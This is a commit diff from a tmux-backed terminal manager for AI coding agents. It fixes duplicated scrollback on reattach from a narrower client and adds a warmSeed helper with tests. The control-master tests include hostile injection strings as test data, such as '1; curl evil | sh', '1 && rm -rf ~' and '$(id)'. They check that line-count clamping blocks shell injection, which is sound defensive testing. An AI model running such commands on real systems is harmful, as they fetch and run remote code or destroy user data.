Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

fix(terminal): the reattach seed no longer duplicates the screen on a narrower client

enes95776b5c55f9
diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.ts
index d994d449d..b8c83eb6e 100644
--- a/src/core/pty-manager.ts
+++ b/src/core/pty-manager.ts
@@ -1663,7 +1663,11 @@ export class PtyManager {
try {
const { stdout } = await runAsync(
this.tmuxPath,
- ['-L', TMUX_SOCKET, 'capture-pane', '-p', '-e', '-t', sessionName(persistKey), '-S', `-${n}`],
+ // `-J` unwraps: capture-pane hard-wraps each line at the HOST pane's width, and a client
+ // whose terminal is narrower (a phone) would re-wrap those fragments into ragged nonsense.
+ // `-E -1` excludes the visible screen — tmux repaints that itself on attach (see `warmSeed`).
+ // prettier-ignore
+ ['-L', TMUX_SOCKET, 'capture-pane', '-p', '-e', '-J', '-t', sessionName(persistKey), '-S', `-${n}`, '-E', '-1'],
{ encoding: 'utf-8', maxBuffer: 50 * 1024 * 1024 }
)
return trimToBytes(stdout, HISTORY_MAX_BYTES)
diff --git a/src/core/remote-ssh/control-master.test.ts b/src/core/remote-ssh/control-master.test.ts
index 6bd6d3975..baf5b21c2 100644
--- a/src/core/remote-ssh/control-master.test.ts
+++ b/src/core/remote-ssh/control-master.test.ts
@@ -187,20 +187,22 @@ describe('listDirArgs', () => {
})
describe('remoteCaptureHistoryArgs', () => {
- it('captures history INCLUDING the visible screen (no -E) so the attach redraw leaves no gap', () => {
+ it('captures UNWRAPPED history EXCLUDING the visible screen (-J, -E -1)', () => {
const args = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', 5000)
const cmd = args[args.length - 1]
- expect(cmd).toContain('capture-pane -p -e -t nt-x -S -5000')
- // `-E -1` would exclude the visible screen — but xterm's eraseInDisplay(2) (tmux's attach
- // redraw) resets those viewport lines in place instead of scrolling them into scrollback,
- // so the newest screenful would be lost. Capture it and let the redraw overwrite it.
- expect(cmd).not.toContain('-E')
+ // `-J` unwraps: capture-pane hard-wraps at the HOST pane's width, so a narrower client (a
+ // phone) would re-wrap those fragments raggedly. `-E -1` drops the visible screen — tmux
+ // repaints it on attach, and `warmSeed` pushes the history above the fold so the two never
+ // overlap. Including it (and relying on the redraw to overwrite it) only works while the
+ // client's geometry matches the pane's, which on a phone it never does: the leftover rows
+ // survive in the scrollback as a duplicate of what is on screen.
+ expect(cmd).toContain('capture-pane -p -e -J -t nt-x -S -5000 -E -1')
})
it('a hostile `lines` value clamped by the caller cannot inject shell (defence in depth)', () => {
const n = clampHistoryLines('1; curl evil | sh' as unknown as number)
const cmd = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', n).slice(-1)[0]
expect(cmd).not.toContain('curl')
- expect(cmd).toContain('capture-pane -p -e -t nt-x -S -5000')
+ expect(cmd).toContain('capture-pane -p -e -J -t nt-x -S -5000 -E -1')
})
it('clamps at the sink: a hostile value passed DIRECTLY never reaches the command string', () => {
// A future call site (IPC handler / Server Edition shell) that forgets the caller-side clamp
@@ -208,7 +210,7 @@ describe('remoteCaptureHistoryArgs', () => {
const hostile = ['1; curl evil.sh | sh', '1 && rm -rf ~', '$(id)', '`id`', '1\nid'] as unknown as number[]
for (const bad of hostile) {
const cmd = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', bad).slice(-1)[0]
- expect(cmd, String(bad)).toContain('capture-pane -p -e -t nt-x -S -5000')
+ expect(cmd, String(bad)).toContain('capture-pane -p -e -J -t nt-x -S -5000 -E -1')
expect(cmd, String(bad)).not.toMatch(/[;&|`$()\n]/)
}
})
diff --git a/src/core/remote-ssh/control-master.ts b/src/core/remote-ssh/control-master.ts
index 366bcaca1..16465309b 100644
--- a/src/core/remote-ssh/control-master.ts
+++ b/src/core/remote-ssh/control-master.ts
@@ -97,7 +97,7 @@ export function remoteCaptureHistoryArgs(
return childArgs(
conn,
controlPath,
- `tmux -L ${RMT_TMUX_SOCKET} capture-pane -p -e -t ${sessionId} -S -${n}`
+ `tmux -L ${RMT_TMUX_SOCKET} capture-pane -p -e -J -t ${sessionId} -S -${n} -E -1`
)
}
export function tmuxProbeArgs(conn: SshConnection, controlPath: string): string[] {
diff --git a/src/core/tmux-conf.test.ts b/src/core/tmux-conf.test.ts
index c280fa4e7..cbee5afd8 100644
--- a/src/core/tmux-conf.test.ts
+++ b/src/core/tmux-conf.test.ts
@@ -133,10 +133,9 @@ describe('PtyManager.captureHistory (untrusted `lines`)', () => {
it('keeps the exact capture command shape on the local path', async () => {
await withTmux().captureHistory('n1', 200)
const argv = execFileCalls[0].args.join(' ')
- expect(argv).toContain('capture-pane -p -e -t nt-n1 -S -200')
- // The capture INCLUDES the visible screen: xterm's eraseInDisplay(2) (tmux's attach redraw)
- // resets the viewport lines in place instead of scrolling them into scrollback, so an
- // `-E -1` capture would leave a one-screenful gap. tmux's redraw overwrites them instead.
- expect(argv).not.toContain('-E')
+ // `-J` unwraps the host pane's hard wrap (a narrower client re-wraps the fragments into
+ // ragged nonsense otherwise); `-E -1` excludes the visible screen, which tmux repaints itself
+ // on attach — the seed pushes the history above the fold so the redraw overwrites nothing.
+ expect(argv).toContain('capture-pane -p -e -J -t nt-n1 -S -200 -E -1')
})
})
diff --git a/src/renderer/nodes/TerminalNode.tsx b/src/renderer/nodes/TerminalNode.tsx
index cb2e99b04..ac7df8395 100644
--- a/src/renderer/nodes/TerminalNode.tsx
+++ b/src/renderer/nodes/TerminalNode.tsx
@@ -31,6 +31,7 @@ import {
repaintResync,
reportedSize,
seedPaint,
+ warmSeed,
setFittedSize,
shouldApplyResync,
stripTrailingNewline,
@@ -930,27 +931,14 @@ export function TerminalNode({ id, data, selected, parentId }: NodeProps<CanvasN
// KEYBOARD INPUT path) and the initialCommand / agent-resume — must still be wired, or
// the terminal streams output, looks alive, and silently accepts no input forever.
const paint = seedPaint({ replay, superseded, history, screen })
- if (paint === 'history') {
- // The capture is byte-trimmed at the head, so it can begin mid-escape-sequence —
- // start the block from a known-clean SGR state rather than an arbitrary one.
- term.write('\x1b[0m')
- // capture-pane ends with a trailing newline: writing it would drop the cursor one
- // row below the last captured row, xterm would scroll, and tmux's redraw would
- // repaint that row again — one duplicated line at the seam.
- term.write(toXtermText(stripTrailingNewline(history)))
- } else if (paint === 'create-screen' && screen) {
- // CO-ATTACH JOINER, history capture failed. A joiner also gets `fresh:false`, so it
- // lands here — and `captureHistory` is the source that WINS for it: it is a strict
- // superset of `PtyCreateResult.screen` (the same tmux pane, plus the scrollback above
- // it), so the joiner opens on what its teammate sees AND can scroll back. Painting
- // both would splice the same screen onto the canvas twice — hence one source, not two.
- //
- // `screen` is the FALLBACK for the one case the history path cannot cover: it is
- // captured server-side inside `create()` and is guaranteed non-empty when present,
- // whereas `captureHistory` returns '' whenever tmux/ssh is unavailable. Without this
- // the joiner would open on a blank-but-live terminal — the exact failure the create
- // result's screen exists to prevent. No reset: this xterm is empty.
- term.write(toXtermText(screen))
+ if (paint !== 'none') {
+ // `warmSeed` owns the exact bytes: the history, pushed `term.rows` lines above the
+ // fold so tmux's in-place redraw cannot leave a second copy of it behind (see its
+ // doc), plus — for a CO-ATTACH JOINER — the visible `screen` from `create()`, which
+ // is the one thing the history no longer carries (the capture excludes the visible
+ // screen, because tmux is about to paint it) and which a joiner never gets a redraw
+ // for. A joiner whose history capture failed still opens on its teammate's screen.
+ term.write(warmSeed({ history, screen, rows: term.rows }))
}
}
} catch (err) {
diff --git a/src/renderer/terminal/terminal-config.test.ts b/src/renderer/terminal/terminal-config.test.ts
index 816eb9f0b..6feb0ebb2 100644
--- a/src/renderer/terminal/terminal-config.test.ts
+++ b/src/renderer/terminal/terminal-config.test.ts
@@ -14,6 +14,7 @@ import {
repaintResync,
reportedSize,
seedPaint,
+ warmSeed,
setFittedSize,
shouldApplyResync,
stripTrailingNewline,
@@ -451,8 +452,8 @@ describe('seedPaint', () => {
expect(
seedPaint({ replay: 'warm-history', superseded: false, history: '', screen: 'live screen' })
).toBe('create-screen')
- // history WINS when both are available — it is a strict superset of the screen, and painting
- // both would splice the same screen onto the canvas twice.
+ // Both available: the seed is still driven by the history (`warmSeed` paints the joiner's
+ // screen underneath it — the capture EXCLUDES the visible screen, so the two don't overlap).
expect(
seedPaint({ replay: 'warm-history', superseded: false, history: 'hist', screen: 'scr' })
).toBe('history')
@@ -584,3 +585,42 @@ describe('repaintResync', () => {
expect(term.ops).toContain('write:TWO')
})
})
+
+describe('warmSeed', () => {
+ const rows = 20
+
+ it('pushes the history above the fold so tmux\'s in-place redraw cannot leave a second copy', () => {
+ const seed = warmSeed({ history: 'line1\nline2\n', rows })
+ // The history itself, CRLF-converted, with its trailing newline consumed by the padding.
+ expect(seed).toContain('line1\r\nline2')
+ // Exactly `rows` newlines after it: the viewport is blank when tmux repaints it, so nothing of
+ // ours survives in the viewport to reappear in the scrollback.
+ const padding = seed.slice(seed.indexOf('line2') + 'line2'.length)
+ expect(padding).toBe('\r\n'.repeat(rows))
+ })
+
+ it('starts the block from a clean SGR state (the capture can begin mid-escape)', () => {
+ expect(warmSeed({ history: 'x\n', rows }).startsWith('\x1b[0m')).toBe(true)
+ })
+
+ it('writes nothing at all when there is no history and no screen', () => {
+ expect(warmSeed({ history: '', screen: '', rows })).toBe('')
+ expect(warmSeed({ history: null, screen: null, rows })).toBe('')
+ })
+
+ it('emits no padding when there is no history (nothing to push above the fold)', () => {
+ expect(warmSeed({ screen: 'live\n', rows })).toBe('\x1b[0m' + 'live')
+ })
+
+ it("paints a joiner's screen after the history — it gets no tmux redraw of its own", () => {
+ const seed = warmSeed({ history: 'old\n', screen: 'now\n', rows })
+ expect(seed.indexOf('old')).toBeLessThan(seed.indexOf('now'))
+ expect(seed.endsWith('now')).toBe(true)
+ // …and the history is still pushed above the fold, so the screen lands on blank lines.
+ expect(seed).toContain('\r\n'.repeat(rows))
+ })
+
+ it('never divides by a zero-row terminal', () => {
+ expect(warmSeed({ history: 'x\n', rows: 0 })).toBe('\x1b[0m' + 'x' + '\r\n')
+ })
+})
diff --git a/src/renderer/terminal/terminal-config.ts b/src/renderer/terminal/terminal-config.ts
index 3881b42e1..452b5e88a 100644
--- a/src/renderer/terminal/terminal-config.ts
+++ b/src/renderer/terminal/terminal-config.ts
@@ -203,6 +203,41 @@ export function seedPaint(opts: {
return shouldApplyResync(opts.screen) ? 'create-screen' : 'none'
}
+/**
+ * The exact bytes a warm reattach writes into a fresh xterm, from tmux's scrollback (`history`) and,
+ * for a joiner, the visible screen (`screen`).
+ *
+ * The subtle part is the padding. tmux's attach redraw is `\x1b[H\x1b[2J` + a repaint, and
+ * `eraseInDisplay(2)` clears the viewport rows **in place** — it does not scroll them into
+ * scrollback. So whatever we leave sitting in the viewport SURVIVES the redraw, above the screen
+ * tmux then paints. The capture is hard-wrapped at the HOST pane's width, so it re-wraps to a
+ * different number of rows here, and the leftover can never line up with what the redraw overwrites:
+ * on a narrow client (a phone) the tail of the history reappears as a second copy the moment you
+ * scroll back. Emitting `rows` newlines pushes the history entirely above the fold, so the redraw
+ * lands on blank lines and overwrites nothing of ours. (The capture excludes the visible screen —
+ * `capture-pane -E -1` — precisely because tmux is about to paint it.)
+ *
+ * A **joiner** gets no redraw (it did not resize, so tmux never repaints for it), which is why its
+ * `screen` is painted here instead.
+ */
+export function warmSeed(opts: {
+ history?: string | null
+ screen?: string | null
+ /** The xterm's row count — how far the history has to be pushed to clear the viewport. */
+ rows: number
+}): string {
+ const out: string[] = []
+ const history = opts.history ? stripTrailingNewline(opts.history) : ''
+ const screen = shouldApplyResync(opts.screen) ? stripTrailingNewline(opts.screen) : ''
+ if (history) {
+ // The capture is byte-trimmed at the head, so it can begin mid-escape-sequence — start from a
+ // known-clean SGR state rather than an arbitrary one.
+ out.push('\x1b[0m', toXtermText(history), '\r\n'.repeat(Math.max(1, opts.rows)))
+ }
+ if (screen) out.push('\x1b[0m', toXtermText(screen))
+ return out.join('')
+}
+
/** The slice of xterm the resync repaint drives (so it can be tested without a DOM). */
export interface ResyncTarget {
write(data: string, done?: () => void): void